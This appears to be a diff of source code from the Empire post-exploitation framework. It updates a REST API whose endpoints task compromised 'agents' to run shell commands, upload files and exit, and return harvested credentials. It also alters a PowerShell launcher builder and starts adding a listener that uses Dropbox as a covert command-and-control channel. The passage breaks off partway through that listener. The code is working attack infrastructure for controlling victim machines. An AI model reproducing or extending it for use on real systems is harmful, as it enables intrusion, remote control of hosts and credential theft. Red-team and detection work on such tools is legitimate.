(dbUsername, dbPassword) = execute_db_query(conn, "SELECT api_username, api_password FROM config")[0]
if not username:
username = dbUsername
else:
execute_db_query(conn, "UPDATE config SET api_username=?", username)
if not password:
password = dbPassword
else:
execute_db_query(conn, "UPDATE config SET api_password=?", password)
class Namespace:
@ -248,7 +253,7 @@ def start_restful_api(startEmpire=False, suppress=False, username=None, password
@app.route('/api/map', methods=['GET'])
def list_routes():
"""
List all of the current registered routes.
List all of the current registered API routes.
"""
import urllib
output = []
@ -274,10 +279,11 @@ def start_restful_api(startEmpire=False, suppress=False, username=None, password
"""
Returns JSON of the current Empire config.
"""
configRaw = execute_db_query(conn, 'SELECT * FROM config')
configRaw = execute_db_query(conn, 'SELECT staging_key, install_path, ip_whitelist, ip_blacklist, autorun_command, autorun_data, rootuser, api_username, api_password, api_current_token, api_permanent_token FROM config')
[staging_key, install_path, ip_whitelist, ip_blacklist, autorun_command, autorun_data, rootuser, api_username, api_password, api_current_token, api_permanent_token] = configRaw[0]
config = [{"api_password":api_password, "api_username":api_username, "autorun_command":autorun_command, "autorun_data":autorun_data, "current_api_token":api_current_token, "install_path":install_path, "ip_blacklist":ip_blacklist, "ip_whitelist":ip_whitelist, "permanent_api_token":api_permanent_token, "staging_key":staging_key, "version":empire.VERSION}]
[staging_key, stage0_uri, stage1_uri, stage2_uri, default_delay, default_jitter, default_profile, default_cert_path, default_port, install_path, server_version, ip_whitelist, ip_blacklist, default_lost_limit, autorun_command, autorun_data, api_username, api_password, current_api_token, permanent_api_token] = configRaw[0]
config = [{"version":empire.VERSION, "staging_key":staging_key, "stage0_uri":stage0_uri, "stage1_uri":stage1_uri, "stage2_uri":stage2_uri, "default_delay":default_delay, "default_jitter":default_jitter, "default_profile":default_profile, "default_cert_path":default_cert_path, "default_port":default_port, "install_path":install_path, "server_version":server_version, "ip_whitelist":ip_whitelist, "ip_blacklist":ip_blacklist, "default_lost_limit":default_lost_limit, "autorun_command":autorun_command, "autorun_data":autorun_data, "api_username":api_username, "api_password":api_password, "current_api_token":current_api_token, "permanent_api_token":permanent_api_token}]
return jsonify({'config': config})
@ -297,14 +303,13 @@ def start_restful_api(startEmpire=False, suppress=False, username=None, password
return jsonify({'stagers': stagers})
@app.route('/api/stagers/<string:stager_name>', methods=['GET'])
@app.route('/api/stagers/<path:stager_name>', methods=['GET'])
def get_stagers_name(stager_name):
"""
Returns JSON describing the specified stager_name passed.
"""
if stager_name not in main.stagers.stagers:
return make_response(jsonify({'error': 'stager name %s not found' %(stager_name)}), 404)
return make_response(jsonify({'error': 'stager name %s not found, make sure to use [os]/[name] format, ie. windows/dll' %(stager_name)}), 404)
stagers = []
for stagerName, stager in main.stagers.stagers.iteritems():
@ -435,8 +440,8 @@ def start_restful_api(startEmpire=False, suppress=False, username=None, password
if not main.agents.is_agent_present(sessionID):
return make_response(jsonify({'error': 'invalid agent name'}), 400)
modulePSVersion = int(module.info['MinPSVersion'])
agentPSVersion = int(main.agents.get_language_version(sessionID))
modulePSVersion = int(module.info['MinLanguageVersion'])
agentPSVersion = int(main.agents.get_language_version_db(sessionID))
# check if the agent/module PowerShell versions are compatible
if modulePSVersion > agentPSVersion:
return make_response(jsonify({'error': "module requires PS version "+str(modulePSVersion)+" but agent running PS version "+str(agentPSVersion)}), 400)
@ -495,7 +500,7 @@ def start_restful_api(startEmpire=False, suppress=False, username=None, password
for agent in main.agents.get_agents():
sessionID = agent[1]
main.agents.add_agent_task(sessionID, taskCommand, moduleData)
main.agents.add_agent_task_db(sessionID, taskCommand, moduleData)
msg = "tasked agent %s to run module %s" %(sessionID, module_name)
main.agents.save_agent_log(sessionID, msg)
@ -504,7 +509,7 @@ def start_restful_api(startEmpire=False, suppress=False, username=None, password
else:
# set the agent's tasking in the cache
main.agents.add_agent_task(sessionID, taskCommand, moduleData)
main.agents.add_agent_task_db(sessionID, taskCommand, moduleData)
# update the agent log
msg = "tasked agent %s to run module %s" %(sessionID, module_name)
@ -643,13 +648,13 @@ def start_restful_api(startEmpire=False, suppress=False, username=None, password
"""
Returns JSON describing all currently registered listeners.
"""
activeListenersRaw = execute_db_query(conn, 'SELECT * FROM listeners')
activeListenersRaw = execute_db_query(conn, 'SELECT id, name, module, listener_type, listener_category, options FROM listeners')
listeners = []
for activeListener in activeListenersRaw:
[ID, name, module, listener_type, listener_category, options] = activeListener
# activeListeners[name] = {'ID':ID, 'name':name, 'host':host, 'port':port, 'cert_path':cert_path, 'staging_key':staging_key, 'default_delay':default_delay, 'default_jitter':default_jitter, 'default_profile':default_profile, 'kill_date':kill_date, 'working_hours':working_hours, 'listener_type':listener_type, 'redirect_target':redirect_target, 'default_lost_limit':default_lost_limit}
listeners.append({'ID':ID, 'name':name, 'module':module, 'listener_type':listener_type, 'listener_category':listener_category, 'options':options })
listeners.append({'ID':ID, 'name':name, 'module':module, 'listener_type':listener_type, 'listener_category':listener_category, 'options':pickle.loads(activeListener[5]) })
return jsonify({'listeners' : listeners})
@ -659,14 +664,14 @@ def start_restful_api(startEmpire=False, suppress=False, username=None, password
"""
Returns JSON describing the listener specified by listener_name.
"""
activeListenersRaw = execute_db_query(conn, 'SELECT * FROM listeners')
activeListenersRaw = execute_db_query(conn, 'SELECT id, name, module, listener_type, listener_category, options FROM listeners WHERE name=?', [listener_name])
listeners = []
if listener_name != "" and main.listeners.is_listener_valid(listener_name):
for activeListener in activeListenersRaw:
[ID, name, host, port, cert_path, staging_key, default_delay, default_jitter, default_profile, kill_date, working_hours, listener_type, redirect_target, default_lost_limit] = activeListener
if name == listener_name:
listeners.append({'ID':ID, 'name':name, 'host':host, 'port':port, 'cert_path':cert_path, 'staging_key':staging_key, 'default_delay':default_delay, 'default_jitter':default_jitter, 'default_profile':default_profile, 'kill_date':kill_date, 'working_hours':working_hours, 'listener_type':listener_type, 'redirect_target':redirect_target, 'default_lost_limit':default_lost_limit})
#if listener_name != "" and main.listeners.is_listener_valid(listener_name):
for activeListener in activeListenersRaw:
[ID, name, module, listener_type, listener_category, options] = activeListener
if name == listener_name:
listeners.append({'ID':ID, 'name':name, 'module':module, 'listener_type':listener_type, 'listener_category':listener_category, 'options':pickle.loads(activeListener[5]) })
return jsonify({'listeners' : listeners})
else:
@ -678,53 +683,60 @@ def start_restful_api(startEmpire=False, suppress=False, username=None, password
"""
Kills the listener specified by listener_name.
"""
if listener_name.lower() == "all":
activeListenersRaw = execute_db_query(conn, 'SELECT * FROM listeners')
activeListenersRaw = execute_db_query(conn, 'SELECT id, name, module, listener_type, listener_category, options FROM listeners')
for activeListener in activeListenersRaw:
[ID, name, host, port, cert_path, staging_key, default_delay, default_jitter, default_profile, kill_date, working_hours, listener_type, redirect_target, default_lost_limit] = activeListener
main.listeners.shutdown_listener(name)
main.listeners.delete_listener(name)
[ID, name, module, listener_type, listener_category, options] = activeListener
main.listeners.kill_listener(name)
return jsonify({'success': True})
else:
if listener_name != "" and main.listeners.is_listener_valid(listener_name):
main.listeners.shutdown_listener(listener_name)
main.listeners.delete_listener(listener_name)
main.listeners.kill_listener(listener_name)
return jsonify({'success': True})
else:
return make_response(jsonify({'error': 'listener name %s not found' %(listener_name)}), 404)
@app.route('/api/listeners/options', methods=['GET'])
def get_listener_options():
@app.route('/api/listeners/options/<string:listener_type>', methods=['GET'])
def get_listener_options(listener_type):
"""
Returns JSON describing the current listener options.
Returns JSON describing listener options for the specified listener type.
"""
return jsonify({'listeneroptions' : [main.listeners.options]})
if listener_type.lower() not in main.listeners.loadedListeners:
return make_response(jsonify({'error':'listener type %s not found' %(listener_type)}), 404)
options = main.listeners.loadedListeners[listener_type].options
return jsonify({'listeneroptions' : options})
@app.route('/api/listeners', methods=['POST'])
def start_listener():
@app.route('/api/listeners/<string:listener_type>', methods=['POST'])
def start_listener(listener_type):
"""
Starts a listener with options supplied in the POST.
"""
if listener_type.lower() not in main.listeners.loadedListeners:
return make_response(jsonify({'error':'listener type %s not found' %(listener_type)}), 404)
listenerObject = main.listeners.loadedListeners[listener_type]
# set all passed options
for option, values in request.json.iteritems():
returnVal = main.listeners.set_listener_option(option, values)
if option == "Name":
listenerName = values
returnVal = main.listeners.set_listener_option(listener_type, option, values)
if not returnVal:
return make_response(jsonify({'error': 'error setting listener value %s with option %s' %(option, values)}), 400)
return make_response(jsonify({'error': 'error setting listener value %s with option %s' %(option, values)}), 400)
main.listeners.start_listener(listener_type, listenerObject)
valid = main.listeners.validate_listener_options()
if not valid:
return make_response(jsonify({'error': 'error validating listener options'}), 400)
(success, message) = main.listeners.add_listener_from_config()
if success:
return jsonify({'success': success, 'msg' : "listener '%s' successfully started." %(message)})
#check to see if the listener was created
listenerID = main.listeners.get_listener_id(listenerName)
if listenerID:
return jsonify({'success': 'listener %s successfully started' % listenerName})
else:
return jsonify({'success': success, 'msg' : message})
return jsonify({'error': 'failed to start listener %s' % listenerName})
@app.route('/api/agents', methods=['GET'])
@ -732,12 +744,15 @@ def start_restful_api(startEmpire=False, suppress=False, username=None, password
"""
Returns JSON describing all currently registered agents.
"""
activeAgentsRaw = execute_db_query(conn, 'SELECT * FROM agents')
activeAgentsRaw = execute_db_query(conn, 'SELECT id, session_id, listener, name, language, language_version, delay, jitter, external_ip, '+
'internal_ip, username, high_integrity, process_name, process_id, hostname, os_details, session_key, nonce, checkin_time, '+
'lastseen_time, parent, children, servers, profile, functions, kill_date, working_hours, lost_limit, taskings, results FROM agents')
agents = []
for activeAgent in activeAgentsRaw:
[ID, sessionID, listener, name, delay, jitter, external_ip, internal_ip, username, high_integrity, process_name, process_id, hostname, os_details, session_key, checkin_time, lastseen_time, parent, children, servers, uris, old_uris, user_agent, headers, functions, kill_date, working_hours, ps_version, lost_limit, taskings, results] = activeAgent
agents.append({"ID":ID, "sessionID":sessionID, "listener":listener, "name":name, "delay":delay, "jitter":jitter, "external_ip":external_ip, "internal_ip":internal_ip, "username":username, "high_integrity":high_integrity, "process_name":process_name, "process_id":process_id, "hostname":hostname, "os_details":os_details, "session_key":session_key, "checkin_time":checkin_time, "lastseen_time":lastseen_time, "parent":parent, "children":children, "servers":servers, "uris":uris, "old_uris":old_uris, "user_agent":user_agent, "headers":headers, "functions":functions, "kill_date":kill_date, "working_hours":working_hours, "ps_version":ps_version, "lost_limit":lost_limit, "taskings":taskings, "results":results})
[ID, session_id, listener, name, language, language_version, delay, jitter, external_ip, internal_ip, username, high_integrity, process_name, process_id, hostname, os_details, session_key, nonce, checkin_time, lastseen_time, parent, children, servers, profile, functions, kill_date, working_hours, lost_limit, taskings, results] = activeAgent
agents.append({"ID":ID, "session_id":session_id, "listener":listener, "name":name, "language":language, "language_version":language_version, "delay":delay, "jitter":jitter, "external_ip":external_ip, "internal_ip":internal_ip, "username":username, "high_integrity":high_integrity, "process_name":process_name, "process_id":process_id, "hostname":hostname, "os_details":os_details, "session_key":session_key, "nonce":nonce, "checkin_time":checkin_time, "lastseen_time":lastseen_time, "parent":parent, "children":children, "servers":servers, "profile":profile,"functions":functions, "kill_date":kill_date, "working_hours":working_hours, "lost_limit":lost_limit, "taskings":taskings, "results":results})
return jsonify({'agents' : agents})
@ -748,11 +763,13 @@ def start_restful_api(startEmpire=False, suppress=False, username=None, password
Returns JSON describing all stale agents.
"""
agentsRaw = execute_db_query(conn, 'SELECT * FROM agents')
agentsRaw = execute_db_query(conn, 'SELECT id, session_id, listener, name, language, language_version, delay, jitter, external_ip, '+
'internal_ip, username, high_integrity, process_name, process_id, hostname, os_details, session_key, nonce, checkin_time, '+
'lastseen_time, parent, children, servers, profile, functions, kill_date, working_hours, lost_limit, taskings, results FROM agents')
staleAgents = []
for agent in agentsRaw:
[ID, sessionID, listener, name, delay, jitter, external_ip, internal_ip, username, high_integrity, process_name, process_id, hostname, os_details, session_key, checkin_time, lastseen_time, parent, children, servers, uris, old_uris, user_agent, headers, functions, kill_date, working_hours, ps_version, lost_limit, taskings, results] = agent
[ID, session_id, listener, name, language, language_version, delay, jitter, external_ip, internal_ip, username, high_integrity, process_name, process_id, hostname, os_details, session_key, nonce, checkin_time, lastseen_time, parent, children, servers, profile, functions, kill_date, working_hours, lost_limit, taskings, results] = agent
intervalMax = (delay + delay * jitter)+30
@ -761,7 +778,7 @@ def start_restful_api(startEmpire=False, suppress=False, username=None, password
if agentTime < time.mktime(time.localtime()) - intervalMax:
staleAgents.append({"ID":ID, "sessionID":sessionID, "listener":listener, "name":name, "delay":delay, "jitter":jitter, "external_ip":external_ip, "internal_ip":internal_ip, "username":username, "high_integrity":high_integrity, "process_name":process_name, "process_id":process_id, "hostname":hostname, "os_details":os_details, "session_key":session_key, "checkin_time":checkin_time, "lastseen_time":lastseen_time, "parent":parent, "children":children, "servers":servers, "uris":uris, "old_uris":old_uris, "user_agent":user_agent, "headers":headers, "functions":functions, "kill_date":kill_date, "working_hours":working_hours, "ps_version":ps_version, "lost_limit":lost_limit, "taskings":taskings, "results":results})
staleAgents.append({"ID":ID, "session_id":session_id, "listener":listener, "name":name, "language":language, "language_version":language_version, "delay":delay, "jitter":jitter, "external_ip":external_ip, "internal_ip":internal_ip, "username":username, "high_integrity":high_integrity, "process_name":process_name, "process_id":process_id, "hostname":hostname, "os_details":os_details, "session_key":session_key, "nonce":nonce, "checkin_time":checkin_time, "lastseen_time":lastseen_time, "parent":parent, "children":children, "servers":servers, "profile":profile,"functions":functions, "kill_date":kill_date, "working_hours":working_hours, "lost_limit":lost_limit, "taskings":taskings, "results":results})
return jsonify({'agents' : staleAgents})
@ -776,7 +793,7 @@ def start_restful_api(startEmpire=False, suppress=False, username=None, password
agentsRaw = execute_db_query(conn, 'SELECT * FROM agents')
for agent in agentsRaw:
[ID, sessionID, listener, name, delay, jitter, external_ip, internal_ip, username, high_integrity, process_name, process_id, hostname, os_details, session_key, checkin_time, lastseen_time, parent, children, servers, uris, old_uris, user_agent, headers, functions, kill_date, working_hours, ps_version, lost_limit, taskings, results] = agent
[ID, sessionID, listener, name, language, language_version, delay, jitter, external_ip, internal_ip, username, high_integrity, process_name, process_id, hostname, os_details, session_key, nonce, checkin_time, lastseen_time, parent, children, servers, profile, functions, kill_date, working_hours, lost_limit, taskings, results] = agent
intervalMax = (delay + delay * jitter)+30
@ -818,12 +835,15 @@ def start_restful_api(startEmpire=False, suppress=False, username=None, password
"""
Returns JSON describing the agent specified by agent_name.
"""
activeAgentsRaw = execute_db_query(conn, 'SELECT * FROM agents WHERE name=? OR session_id=?', [agent_name, agent_name])
activeAgentsRaw = execute_db_query(conn, 'SELECT id, session_id, listener, name, language, language_version, delay, jitter, external_ip, '+
'internal_ip, username, high_integrity, process_name, process_id, hostname, os_details, session_key, nonce, checkin_time, '+
'lastseen_time, parent, children, servers, profile, functions, kill_date, working_hours, lost_limit, taskings, results FROM agents ' +
'WHERE name=? OR session_id=?', [agent_name, agent_name])
activeAgents = []
for activeAgent in activeAgentsRaw:
[ID, sessionID, listener, name, delay, jitter, external_ip, internal_ip, username, high_integrity, process_name, process_id, hostname, os_details, session_key, checkin_time, lastseen_time, parent, children, servers, uris, old_uris, user_agent, headers, functions, kill_date, working_hours, ps_version, lost_limit, taskings, results] = activeAgent
activeAgents.append({"ID":ID, "sessionID":sessionID, "listener":listener, "name":name, "delay":delay, "jitter":jitter, "external_ip":external_ip, "internal_ip":internal_ip, "username":username, "high_integrity":high_integrity, "process_name":process_name, "process_id":process_id, "hostname":hostname, "os_details":os_details, "session_key":session_key, "checkin_time":checkin_time, "lastseen_time":lastseen_time, "parent":parent, "children":children, "servers":servers, "uris":uris, "old_uris":old_uris, "user_agent":user_agent, "headers":headers, "functions":functions, "kill_date":kill_date, "working_hours":working_hours, "ps_version":ps_version, "lost_limit":lost_limit, "taskings":taskings, "results":results})
[ID, session_id, listener, name, language, language_version, delay, jitter, external_ip, internal_ip, username, high_integrity, process_name, process_id, hostname, os_details, session_key, nonce, checkin_time, lastseen_time, parent, children, servers, profile, functions, kill_date, working_hours, lost_limit, taskings, results] = activeAgent
activeAgents.append({"ID":ID, "session_id":session_id, "listener":listener, "name":name, "language":language, "language_version":language_version, "delay":delay, "jitter":jitter, "external_ip":external_ip, "internal_ip":internal_ip, "username":username, "high_integrity":high_integrity, "process_name":process_name, "process_id":process_id, "hostname":hostname, "os_details":os_details, "session_key":session_key, "nonce":nonce, "checkin_time":checkin_time, "lastseen_time":lastseen_time, "parent":parent, "children":children, "servers":servers, "profile":profile,"functions":functions, "kill_date":kill_date, "working_hours":working_hours, "lost_limit":lost_limit, "taskings":taskings, "results":results})
return jsonify({'agents' : activeAgents})
@ -834,30 +854,22 @@ def start_restful_api(startEmpire=False, suppress=False, username=None, password
Returns JSON describing the agent's results and removes the result field
from the backend database.
"""
agentTaskResults = []
if agent_name.lower() == "all":
# enumerate all target agent sessionIDs
agentNameIDs = execute_db_query(conn, "SELECT name,session_id FROM agents WHERE name like '%' OR session_id like '%'")
agentNameIDs = execute_db_query(conn, "SELECT name, session_id FROM agents WHERE name like '%' OR session_id like '%'")
else:
agentNameIDs = execute_db_query(conn, 'SELECT name,session_id FROM agents WHERE name like ? OR session_id like ?', [agent_name, agent_name])
agentNameIDs = execute_db_query(conn, 'SELECT name, session_id FROM agents WHERE name like ? OR session_id like ?', [agent_name, agent_name])
for agentNameID in agentNameIDs:
(agentName, agentSessionID) = agentNameID
[agentName, agentSessionID] = agentNameID
agentResults = execute_db_query(conn, 'SELECT results FROM agents WHERE session_id=?', [agentSessionID])[0]
agentResults = execute_db_query(conn, 'SELECT agent, data FROM results WHERE agent=?', [agentSessionID])
if agentResults and agentResults[0] and agentResults[0] != '':
out = json.loads(agentResults[0])
if out:
agentResults = "\n".join(out)
else:
agentResults = ''
else:
agentResults = ''
agentTaskResults.append({"agentname":agentName, "results":agentResults})
for result in agentResults:
[agent, data] = result
agentTaskResults.append({"agentname":result[0], "results":result[1]})
return jsonify({'results': agentTaskResults})
@ -869,12 +881,59 @@ def start_restful_api(startEmpire=False, suppress=False, username=None, password
"""
if agent_name.lower() == "all":
# enumerate all target agent sessionIDs
execute_db_query(conn, "UPDATE agents SET results='' WHERE name like '%' OR session_id like '%'")
agentNameIDs = execute_db_query(conn, "SELECT name,session_id FROM agents WHERE name like '%' OR session_id like '%'")
else:
execute_db_query(conn, "UPDATE agents SET results='' WHERE name like ? OR session_id like ?", [agent_name, agent_name])
agentNameIDs = execute_db_query(conn, 'SELECT name,session_id FROM agents WHERE name like ? OR session_id like ?', [agent_name, agent_name])
if not agentNameIDs or len(agentNameIDs) == 0:
return make_response(jsonify({'error': 'agent name %s not found' %(agent_name)}), 404)
for agentNameID in agentNameIDs:
(agentName, agentSessionID) = agentNameID
execute_db_query(conn, 'UPDATE agents SET results=? WHERE session_id=?', ['', agentSessionID])
return jsonify({'success': True})
@app.route('/api/agents/<string:agent_name>/upload', methods=['POST'])
def task_agent_upload(agent_name):
"""
Tasks the specified agent to upload a file
"""
if agent_name.lower() == "all":
# enumerate all target agent sessionIDs
agentNameIDs = execute_db_query(conn, "SELECT name,session_id FROM agents WHERE name like '%' OR session_id like '%'")
else:
agentNameIDs = execute_db_query(conn, 'SELECT name,session_id FROM agents WHERE name like ? OR session_id like ?', [agent_name, agent_name])
if not agentNameIDs or len(agentNameIDs) == 0:
return make_response(jsonify({'error': 'agent name %s not found' %(agent_name)}), 404)
if not request.json['data']:
return make_response(jsonify({'error':'file data not provided'}), 404)
if not request.json['filename']:
return make_response(jsonify({'error':'file name not provided'}), 404)
fileData = request.json['data']
fileName = request.json['filename']
rawBytes = base64.b64decode(fileData)
if len(rawBytes) > 1048576:
return make_response(jsonify({'error':'file size too large'}), 404)
for agentNameID in agentNameIDs:
(agentName, agentSessionID) = agentNameID
msg = "Tasked agent to upload %s : %s" % (fileName, hashlib.md5(rawBytes).hexdigest())
main.agents.save_agent_log(agentSessionID, msg)
data = fileName + "|" + fileData
main.agents.add_agent_task_db(agentSessionID, 'TASK_UPLOAD', data)
return jsonify({'success': True})
@app.route('/api/agents/<string:agent_name>/shell', methods=['POST'])
def task_agent_shell(agent_name):
@ -897,20 +956,10 @@ def start_restful_api(startEmpire=False, suppress=False, username=None, password
for agentNameID in agentNameIDs:
(agentName, agentSessionID) = agentNameID
# get existing agent taskings for each agent
agentTasks = execute_db_query(conn, 'SELECT taskings FROM agents WHERE session_id like ?', [agentSessionID])[0]
if agentTasks and agentTasks[0]:
agentTasks = json.loads(agentTasks[0])
else:
agentTasks = []
# append our new json-ified task and update the backend
agentTasks.append(['TASK_SHELL', command])
execute_db_query(conn, "UPDATE agents SET taskings=? WHERE session_id=?", [json.dumps(agentTasks), agentSessionID])
timeStamp = strftime("%Y-%m-%d %H:%M:%S", localtime())
execute_db_query(conn, "INSERT INTO reporting (name,event_type,message,time_stamp) VALUES (?,?,?,?)", (agentName, "task", "TASK_SHELL - " + command[0:50], timeStamp))
# add task command to agent taskings
msg = "tasked agent %s to run command %s" %(agentSessionID, command)
main.agents.save_agent_log(agentSessionID, msg)
main.agents.add_agent_task_db(agentSessionID, "TASK_SHELL", command)
return jsonify({'success': True})
@ -960,10 +1009,7 @@ def start_restful_api(startEmpire=False, suppress=False, username=None, password
for agentNameID in agentNameIDs:
(agentName, agentSessionID) = agentNameID
execute_db_query(conn, "UPDATE agents SET taskings=? WHERE session_id=?", ['', agentSessionID])
timeStamp = strftime("%Y-%m-%d %H:%M:%S", localtime())
execute_db_query(conn, "INSERT INTO reporting (name,event_type,message,time_stamp) VALUES (?,?,?,?)", (agentName, "clear", '', timeStamp))
main.agents.clear_agent_tasks_db(agentSessionID)
return jsonify({'success': True})
@ -985,20 +1031,10 @@ def start_restful_api(startEmpire=False, suppress=False, username=None, password
for agentNameID in agentNameIDs:
(agentName, agentSessionID) = agentNameID
# get existing agent taskings for each agent
agentTasks = execute_db_query(conn, 'SELECT taskings FROM agents WHERE session_id like ?', [agentSessionID])[0]
if agentTasks and agentTasks[0]:
agentTasks = json.loads(agentTasks[0])
else:
agentTasks = []
# append our new json-ified task and update the backend
agentTasks.append(['TASK_EXIT', ''])
execute_db_query(conn, "UPDATE agents SET taskings=? WHERE session_id=?", [json.dumps(agentTasks), agentSessionID])
timeStamp = strftime("%Y-%m-%d %H:%M:%S", localtime())
execute_db_query(conn, "INSERT INTO reporting (name,event_type,message,time_stamp) VALUES (?,?,?,?)", (agentName, "task", "TASK_EXIT", timeStamp))
# task the agent to exit
msg = "tasked agent %s to exit" %(agentSessionID)
main.agents.save_agent_log(sessionID, msg)
main.agents.add_agent_task_db(agentSessionID, 'TASK_EXIT')
return jsonify({'success': True})
@ -1008,12 +1044,12 @@ def start_restful_api(startEmpire=False, suppress=False, username=None, password
"""
Returns JSON describing the credentials stored in the backend database.
"""
credsRaw = execute_db_query(conn, 'SELECT * FROM credentials')
credsRaw = execute_db_query(conn, 'SELECT ID, credtype, domain, username, password, host, os, sid, notes FROM credentials')
creds = []
for credRaw in credsRaw:
[ID, credtype, domain, username, password, host, sid, notes] = credRaw
creds.append({"ID":ID, "credtype":credtype, "domain":domain, "username":username, "password":password, "host":host, "sid":sid, "notes":notes})
[ID, credtype, domain, username, password, host, os, sid, notes] = credRaw
creds.append({"ID":ID, "credtype":credtype, "domain":domain, "username":username, "password":password, "host":host, "os":os, "sid":sid, "notes":notes})
return jsonify({'creds' : creds})
@ -1023,12 +1059,12 @@ def start_restful_api(startEmpire=False, suppress=False, username=None, password
"""
Returns JSON describing the reporting events from the backend database.
"""
reportingRaw = execute_db_query(conn, 'SELECT * FROM reporting')
reportingRaw = execute_db_query(conn, 'SELECT ID, name, event_type, message, time_stamp, taskID FROM reporting')
reportingEvents = []
for reportingEvent in reportingRaw:
[ID, name, eventType, message, timestamp] = reportingEvent
reportingEvents.append({"ID":ID, "agentname":name, "event_type":eventType, "message":message, "timestamp":timestamp})
[ID, name, event_type, message, time_stamp, taskID] = reportingEvent
reportingEvents.append({"ID":ID, "agentname":name, "event_type":event_type, "message":message, "timestamp":time_stamp, "taskID":taskID})
return jsonify({'reporting' : reportingEvents})
@ -1047,12 +1083,12 @@ def start_restful_api(startEmpire=False, suppress=False, username=None, password
else:
return jsonify({'reporting' : ''})
reportingRaw = execute_db_query(conn, 'SELECT * FROM reporting WHERE name=?', [sessionID])
reportingRaw = execute_db_query(conn, 'SELECT ID, name, event_type, message, time_stamp, taskID FROM reporting WHERE name=?', [sessionID])
reportingEvents = []
for reportingEvent in reportingRaw:
[ID, name, eventType, message, timestamp] = reportingEvent
reportingEvents.append({"ID":ID, "agentname":name, "event_type":eventType, "message":message, "timestamp":timestamp})
[ID, name, event_type, message, time_stamp, taskID] = reportingEvent
reportingEvents.append({"ID":ID, "agentname":name, "event_type":event_type, "message":message, "timestamp":time_stamp, "taskID":taskID})
return jsonify({'reporting' : reportingEvents})
@ -1063,12 +1099,12 @@ def start_restful_api(startEmpire=False, suppress=False, username=None, password
Returns JSON describing the reporting events from the backend database for
the event type specified by event_type.
"""
reportingRaw = execute_db_query(conn, 'SELECT * FROM reporting WHERE event_type=?', [event_type])
reportingRaw = execute_db_query(conn, 'SELECT ID, name, event_type, message, time_stamp, taskID FROM reporting WHERE event_type=?', [event_type])
reportingEvents = []
for reportingEvent in reportingRaw:
[ID, name, eventType, message, timestamp] = reportingEvent
reportingEvents.append({"ID":ID, "agentname":name, "event_type":eventType, "message":message, "timestamp":timestamp})
[ID, name, event_type, message, time_stamp, taskID] = reportingEvent
reportingEvents.append({"ID":ID, "agentname":name, "event_type":event_type, "message":message, "timestamp":time_stamp, "taskID":taskID})
return jsonify({'reporting' : reportingEvents})
@ -1079,12 +1115,12 @@ def start_restful_api(startEmpire=False, suppress=False, username=None, password
Returns JSON describing the reporting events from the backend database for
the any messages with *msg* specified by msg.
"""
reportingRaw = execute_db_query(conn, "SELECT * FROM reporting WHERE message like ?", ['%'+msg+'%'])
reportingRaw = execute_db_query(conn, "SELECT ID, name, event_type, message, time_stamp, taskID FROM reporting WHERE message like ?", ['%'+msg+'%'])
reportingEvents = []
for reportingEvent in reportingRaw:
[ID, name, eventType, message, timestamp] = reportingEvent
reportingEvents.append({"ID":ID, "agentname":name, "event_type":eventType, "message":message, "timestamp":timestamp})
[ID, name, event_type, message, time_stamp, taskID] = reportingEvent
reportingEvents.append({"ID":ID, "agentname":name, "event_type":event_type, "message":message, "timestamp":time_stamp, "taskID":taskID})
return jsonify({'reporting' : reportingEvents})
@ -1105,7 +1141,7 @@ def start_restful_api(startEmpire=False, suppress=False, username=None, password
# try to prevent some basic bruting
time.sleep(2)
if suppliedUsername == username and suppliedPassword == password:
if suppliedUsername == username[0] and suppliedPassword == password[0]:
return jsonify({'token': apiToken})
else:
return make_response('', 401)

View File

@ -9,7 +9,7 @@ menu loops.
"""
# make version for Empire
VERSION = "2.0.0-beta"
VERSION = "2.0"
from pydispatch import dispatcher

View File

@ -49,6 +49,7 @@ import sqlite3
import iptools
import threading
import pickle
import netifaces
from time import localtime, strftime
from Crypto.Random import random
import subprocess
@ -187,14 +188,14 @@ def enc_powershell(raw):
return base64.b64encode("".join([char + "\x00" for char in unicode(raw)]))
def powershell_launcher(raw):
def powershell_launcher(raw, modifiable_launcher):
"""
Build a one line PowerShell launcher with an -enc command.
"""
# encode the data into a form usable by -enc
encCMD = enc_powershell(raw)
return "powershell.exe -NoP -sta -NonI -W Hidden -Enc " + encCMD
return modifiable_launcher + " " + encCMD
def parse_powershell_script(data):
@ -598,6 +599,7 @@ def lhost():
Return the local IP.
"""
if os.name != 'nt':
import fcntl
import struct
@ -622,15 +624,16 @@ def lhost():
return ip
if (ip == '' or ip.startswith('127.')) and os.name != 'nt':
interfaces = ['eth0','eth1','eth2','wlan0','wlan1','wifi0','ath0','ath1','ppp0']
interfaces = netifaces.interfaces()
for ifname in interfaces:
try:
ip = get_interface_ip(ifname)
if ip != "":
break
except:
print 'Unexpected error:', sys.exc_info()[0]
pass
if "lo" not in ifname:
try:
ip = get_interface_ip(ifname)
if ip != "":
break
except:
print 'Unexpected error:', sys.exc_info()[0]
pass
return ip

View File

@ -366,6 +366,20 @@ class Listeners:
else:
return None
def get_listener_options(self):
"""
Return the options for a listener type
"""
cur = self.conn.cursor()
cur.execute('SELECT options FROM listeners')
results = cur.fetchall()
cur.close()
if results:
return results[0][0]
else:
return None
def get_listener_names(self):
"""

936
lib/listeners/dbx.py Executable file
View File

@ -0,0 +1,936 @@
import base64
import random
import os
import time
import copy
import dropbox
# from dropbox.exceptions import ApiError, AuthError
# from dropbox.files import FileMetadata, FolderMetadata, CreateFolderError
from pydispatch import dispatcher
# Empire imports
from lib.common import helpers
from lib.common import agents
from lib.common import encryption
from lib.common import packets
from lib.common import messages
class Listener:
def __init__(self, mainMenu, params=[]):
self.info = {
'Name': 'Dropbox',
'Author': ['@harmj0y'],
'Description': ('Starts a Dropbox listener.'),
'Category' : ('third_party'),
'Comments': []
}
# any options needed by the stager, settable during runtime
self.options = {
# format:
# value_name : {description, required, default_value}
'Name' : {
'Description' : 'Name for the listener.',
'Required' : True,
'Value' : 'dropbox'
},
'APIToken' : {
'Description' : 'Authorization token for Dropbox API communication.',
'Required' : True,
'Value' : ''
},
'PollInterval' : {
'Description' : 'Polling interval (in seconds) to communicate with the Dropbox Server.',
'Required' : True,
'Value' : '5'
},
'BaseFolder' : {
'Description' : 'The base Dropbox folder to use for comms.',
'Required' : True,
'Value' : '/Empire/'
},
'StagingFolder' : {
'Description' : 'The nested Dropbox staging folder.',
'Required' : True,
'Value' : '/staging/'
},
'TaskingsFolder' : {
'Description' : 'The nested Dropbox taskings folder.',
'Required' : True,
'Value' : '/taskings/'
},
'ResultsFolder' : {
'Description' : 'The nested Dropbox results folder.',
'Required' : True,
'Value' : '/results/'
},
'Launcher' : {
'Description' : 'Launcher string.',
'Required' : True,
